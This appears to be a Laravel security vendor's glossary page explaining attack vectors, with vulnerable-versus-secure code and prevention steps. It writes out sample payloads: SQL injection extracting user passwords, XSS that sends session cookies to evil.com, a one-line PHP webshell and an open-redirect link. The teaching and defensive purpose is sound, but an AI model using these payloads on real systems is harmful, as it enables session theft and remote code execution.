Security Concepts

What Is Attack Vector?

A specific method or path an attacker uses to exploit a vulnerability and gain unauthorized access to a system. While the attack surface is the total collection of entry points, an attack vector is the specific technique used against one of those entry points.

How It Works

An attack vector is the specific technical mechanism used to deliver an exploit to a vulnerability. Each vector has a distinct pathway from the attacker's request to the vulnerable code.

SQL injection vector — The attacker identifies a parameter that reaches a raw database query: a search field, URL ID parameter, or filter option. They probe with a single quote (') to observe whether the application returns a SQL error or behaves differently — confirming the parameter is injectable. They then construct a UNION SELECT payload to determine column count with ORDER BY 1--, ORDER BY 2-- until an error occurs, and finally extract data: UNION SELECT null,username,password FROM users--. The malicious SQL travels as a normal HTTP request parameter but is interpreted as SQL grammar by the database engine.

XSS attack vector — The attacker finds an input that appears in HTML output without escaping. They inject <script>alert(1)</script> — if an alert fires when the page loads, the input is an XSS vector. The real payload exfiltrates session cookies: <script>new Image().src='https://evil.com/?c='+document.cookie</script>. This script executes in the victim's browser at the security origin of the target site, with full access to cookies, localStorage, and the DOM.

File upload vector — The application accepts file uploads but validates only the Content-Type header. The attacker crafts a request with Content-Type: image/jpeg but uploads a file with a .php extension containing <?php system($_GET['cmd']); ?>. If the application stores the file in a web-accessible directory, requesting the file URL executes arbitrary PHP code on the server with the web server's permissions.

Open redirect vector — The login or return URL endpoint accepts a redirect parameter: /login?redirect=https://evil.com. After successful authentication, the application redirects to the attacker-controlled URL. The attacker uses this in phishing emails — the link starts with the legitimate domain, passing superficial inspection, but sends the authenticated user to a credential-harvesting page.

Brute-force vector — The login endpoint accepts unlimited POST requests without rate limiting. The attacker uses a tool like Hydra or a custom script to iterate through a wordlist, sending one request per candidate password. The HTTP response distinguishes success (302 redirect with session cookie) from failure (422 validation error), allowing the tool to identify valid credentials automatically.

Types of Attack Vector

Injection Vector

Attacker inserts malicious code into interpreter inputs (SQL, shell commands, LDAP queries) via user-supplied parameters that reach raw query methods.

GET /users?sort=name' UNION SELECT username,password,null FROM users-- HTTP/1.1

Cross-Site Scripting Vector

Attacker injects JavaScript into page output via unescaped Blade output (`{!! !!}`) or PHP variables interpolated into `<script>` blocks.

<script>fetch('https://evil.com?c='+document.cookie)</script>

Credential-Based Vector

Attacker targets authentication endpoints with brute force, credential stuffing, or password spraying to gain authenticated access.

POST /login\nContent-Type: application/x-www-form-urlencoded\n\nemail=admin%40app.com&password=Password123

File-Based Vector

Attacker uploads a malicious file (PHP webshell disguised as an image) to a web-accessible directory and then requests it to execute server-side code.

// shell.php uploaded as shell.jpg with Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>

In Laravel Applications

Common attack vectors against Laravel applications include SQL injection through unparameterized queries, XSS through unescaped Blade output ({!! !!}), CSRF attacks on forms missing @csrf, and brute-force attacks against login endpoints without rate limiting.

Code Examples

SQL Injection Vector: Raw Query vs. Parameterized

Vulnerable

// VULNERABLE: user input interpolated directly into SQL string
// An attacker can send id=1 UNION SELECT username,password FROM users--
$results = DB::select(
    "SELECT * FROM products WHERE id = " . $request->input('id')
);

Secure

// SECURE: user input passed as a bound parameter
// The database driver treats $id as data, never as SQL grammar
$results = DB::select(
    "SELECT * FROM products WHERE id = ?",
    [$request->input('id')]
);

// Or with Eloquent (parameterized by default):
$product = Product::findOrFail($request->input('id'));

XSS Vector: Unescaped vs. Escaped Blade Output

Vulnerable

{{-- VULNERABLE: {!! !!} outputs raw HTML, allowing script injection --}}
{{-- If $user->bio contains <script>...</script>, it executes --}}
<div class="bio">{!! $user->bio !!}</div>

Secure

{{-- SECURE: {{ }} HTML-encodes output, turning < into &lt; --}}
{{-- Script tags become harmless text strings --}}
<div class="bio">{{ $user->bio }}</div>

{{-- For legitimate rich text, use a sanitizer library: --}}
<div class="bio">{!! clean($user->bio) !!}</div>
{{-- where clean() uses HTMLPurifier via mews/purifier --}}

Real-World Example

A brute-force password attack against /login is an attack vector. The /login endpoint itself is part of the attack surface.

Why It Matters

Understanding attack vectors is what allows developers to build effective defenses. It is not enough to know a vulnerability exists — you need to understand the specific path an attacker would use to exploit it. Each attack vector requires a different defense.

In Laravel, the most exploited attack vectors are well-documented but still widely encountered. SQL injection via DB::raw() or whereRaw() with user input bypasses Eloquent's parameterized query protection. XSS via {!! !!} in Blade templates allows script injection. Unprotected throttle middleware on login routes enables credential stuffing and brute-force attacks.

The config/auth.php and route definitions in routes/web.php and routes/api.php are the most important files for understanding what vectors are exposed. A route defined without middleware is one attack vector. An API endpoint that accepts file uploads without validating MIME type is another.

Developers often focus on code-level vectors (injection, XSS) while neglecting infrastructure vectors: exposed .env files served by misconfigured Nginx, readable storage/ directories, or debug endpoints enabled in production. StackShield specifically monitors these infrastructure-level vectors because they are invisible to code-only security reviews.

Common Misconceptions

Myth: If we use Eloquent, we have no SQL injection attack vectors.

Reality: Eloquent protects against SQL injection for standard queries, but `DB::raw()`, `whereRaw()`, `orderByRaw()`, and `selectRaw()` all introduce SQL injection vectors if user input is interpolated directly.

Myth: Our application has no attack vectors because we use a WAF.

Reality: A WAF blocks known attack patterns but does not eliminate attack vectors. New vulnerability patterns, business logic flaws, and application-specific issues bypass WAF rules entirely.

How to Detect This

Run `php artisan route:list` to enumerate all routes and cross-reference each with its middleware stack — any route missing `auth` or `throttle` middleware is a potential attack vector. Use OWASP ZAP's active scan against your staging environment to probe for injection and XSS vectors automatically. For infrastructure vectors, `curl -I https://yourdomain.com/.env` checks for an exposed environment file, and `curl -I https://yourdomain.com/telescope` reveals whether the debug dashboard is publicly accessible. StackShield scans for these infrastructure vectors continuously and alerts on any new exposure after each deployment.

How to Prevent This in Laravel

  1. 1

    Grep for raw query methods with `grep -rn "whereRaw\|orderByRaw\|selectRaw\|DB::raw\|DB::select\|DB::statement" app/` and verify each passes user input as a bound parameter array, never as a string interpolation.

  2. 2

    Grep for unescaped Blade output with `grep -rn "{!!" resources/views/` and replace with `{{ }}` for plain text or add HTMLPurifier via `composer require mews/purifier` for legitimate rich text.

  3. 3

    Add `throttle:5,1` middleware to your `/login`, `/password/email`, and `/register` routes in `routes/web.php` to close the brute-force vector.

  4. 4

    Validate uploaded file MIME types using `$request->validate(['file' => 'mimes:jpg,png,pdf'])` and store uploads outside the webroot using `Storage::disk('private')->put(...)` so they are never directly web-accessible.

  5. 5

    Run `composer audit` in CI to catch dependency CVEs that introduce new attack vectors via third-party code your application depends on.

Frequently Asked Questions

What is the most commonly exploited attack vector in Laravel applications?

Security Misconfiguration (OWASP A05) is consistently the most exploited category — specifically `APP_DEBUG=true` in production and exposed `.env` files. Among code-level vectors, SQL injection via `DB::raw()` and `whereRaw()` with interpolated user input is the most frequently encountered because developers who know Eloquent is safe sometimes use raw methods without realizing they bypass parameterization.

Does using Eloquent ORM eliminate SQL injection attack vectors?

Eloquent's standard query methods (where, find, first, get) use PDO prepared statements and are safe. However, the raw methods — `DB::raw()`, `whereRaw()`, `orderByRaw()`, `selectRaw()`, and `DB::select()` — are all vulnerable if you string-interpolate user input into them. Search your codebase for these methods and verify all user input is passed as the second parameter array argument, never embedded in the SQL string itself.

Can middleware completely block attack vectors before they reach my code?

Middleware can block some vectors — `throttle` middleware prevents brute-force vectors, `VerifyCsrfToken` blocks CSRF vectors, and `auth` middleware blocks unauthenticated access vectors. However, middleware cannot protect against code-level vulnerabilities like SQL injection or XSS in routes it protects, because those vulnerabilities exist in the application logic that runs after the request passes middleware checks.

How do I safely allow file uploads without creating a file-based attack vector?

Use Laravel's validation rules to restrict MIME types (`'file' => 'mimes:jpg,png,pdf|max:2048'`) and store all uploads using `Storage::disk('private')->put(...)` so they are never directly web-accessible via HTTP. Generate signed temporary URLs with `Storage::temporaryUrl()` for users who need to download their files. Never store uploads in the `public/` directory or any web-accessible path.

Related Terms

Related Articles

Monitor Your Laravel Application's Security

StackShield continuously checks your Laravel application from the outside, catching security issues before attackers find them.

Start Free Trial